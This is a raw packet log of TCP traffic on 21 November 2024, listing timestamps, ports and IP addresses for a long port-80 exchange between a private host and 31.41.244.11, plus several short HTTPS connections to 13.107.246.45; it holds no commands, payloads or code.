Nov 21, 2024 03:09:11.988835096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.988883018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.988924980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.988972902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.989934921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.989984035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.990057945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.990103960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.990936995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.990986109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.991045952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.991091013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.992022991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.992070913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.992155075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.992201090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.993069887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.993117094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.993187904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.993233919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.994138956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.994189024 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.994268894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.994317055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.995198011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.995246887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.995310068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.995361090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.996264935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.996316910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.996388912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.996437073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.997355938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.997404099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.997452974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.997498035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.998404026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.998456955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.998517036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.998564005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.999471903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.999527931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.999588013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.999638081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.000550985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.000600100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.000695944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.000745058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.001611948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.001660109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.001725912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.001774073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.002665997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.002715111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.002774000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.002820969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.003755093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.003804922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.003865957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.003917933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.004801989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.004852057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.004930019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.004978895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.005871058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.005937099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.005963087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.006014109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.006937027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.006998062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.007056952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.007106066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.007997990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.008047104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.008106947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.008156061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.009073019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.009124041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.009208918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.009252071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.010160923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.010206938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.010274887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.010317087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.011204958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.011253119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.011288881 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.011341095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.012265921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.012316942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.012370110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.012419939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.013375998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.013423920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.013506889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.013555050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.014403105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.014451981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.014535904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.014585018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.015474081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.015523911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.015579939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.015629053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.016546965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.016596079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.016683102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.016730070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.017610073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.017657995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.017673016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.017743111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.018678904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.018727064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.018750906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.018799067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.018913031 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.019757032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.019804955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.019867897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.019922018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.020888090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.020942926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.020973921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.021035910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.021892071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.021946907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.022007942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.022057056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.022151947 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.022209883 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.022218943 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.022264957 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.022311926 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.022320032 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.022330999 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.022336960 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.022952080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.022998095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.023046970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.023091078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.024022102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.024086952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.024147034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.024192095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.024729013 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.024769068 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.024832964 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.024992943 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.025008917 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.025084972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.025131941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.025168896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.025216103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.026151896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.026204109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.026463985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.026521921 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.027206898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.027256012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.027322054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.027369976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.028290987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.028341055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.028381109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.028429031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.029362917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.029413939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.029468060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.029510975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.030476093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.030529976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.031040907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.031089067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.031517982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.031563997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.031567097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.031627893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.032560110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.032622099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.032658100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.032706022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.033648014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.033694029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.033730030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.033776999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.034681082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.034728050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.034811974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.034857988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.035759926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.035806894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.035856962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.035903931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.036822081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.036874056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.036937952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.036981106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.037904978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.037954092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.038013935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.038063049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.038989067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.039035082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.039125919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.039170980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.039918900 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.039978981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.040020943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.040122032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.040169001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.041109085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.041167021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.041225910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.041273117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.042152882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.042201042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.042268038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.042311907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.042959929 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.043013096 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.043085098 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.043113947 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.043128967 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.043137074 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.043173075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.043212891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.045058966 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.045094967 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.045178890 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.045320988 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.045361996 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.075378895 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.078685999 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.078747988 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.078794003 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.078809977 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.078820944 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.078826904 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.080758095 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.080811977 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.080884933 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.080996990 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.081027031 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.188604116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.188683033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.188711882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.188776970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.189039946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.189086914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.189145088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.189189911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.190131903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.190176964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.190246105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.190290928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.191169977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.191217899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.191240072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.191282034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.192248106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.192296028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.192326069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.192367077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.193335056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.193393946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.193438053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.193483114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.194396019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.194444895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.194492102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.194536924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.195492029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.195550919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.195564032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.195609093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.196547985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.196599960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.196667910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.196719885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.197572947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.197619915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.197691917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.197737932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.198654890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.198703051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.198748112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.198811054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.199795961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.199817896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.199841022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.199863911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.200794935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.200848103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.200982094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.201030016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.201875925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.201927900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.201986074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.202033997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.202914953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.202964067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.203032970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.203078032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.203892946 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.204013109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.204061985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.204133034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.204176903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.205162048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.205210924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.205291986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.205337048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.206156969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.206202984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.206263065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.206305981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.206829071 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.206892014 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.206904888 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.206954002 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.206996918 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.207014084 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.207024097 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.207034111 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.207039118 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:12.207187891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.207237959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.207278967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.207334995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.208266020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.208337069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.208373070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.208435059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.209331989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.209386110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.209465027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:12.209516048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:12.209882975 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:12.209978104 CET	443	49824	13.107.246.45	192.168.2.5
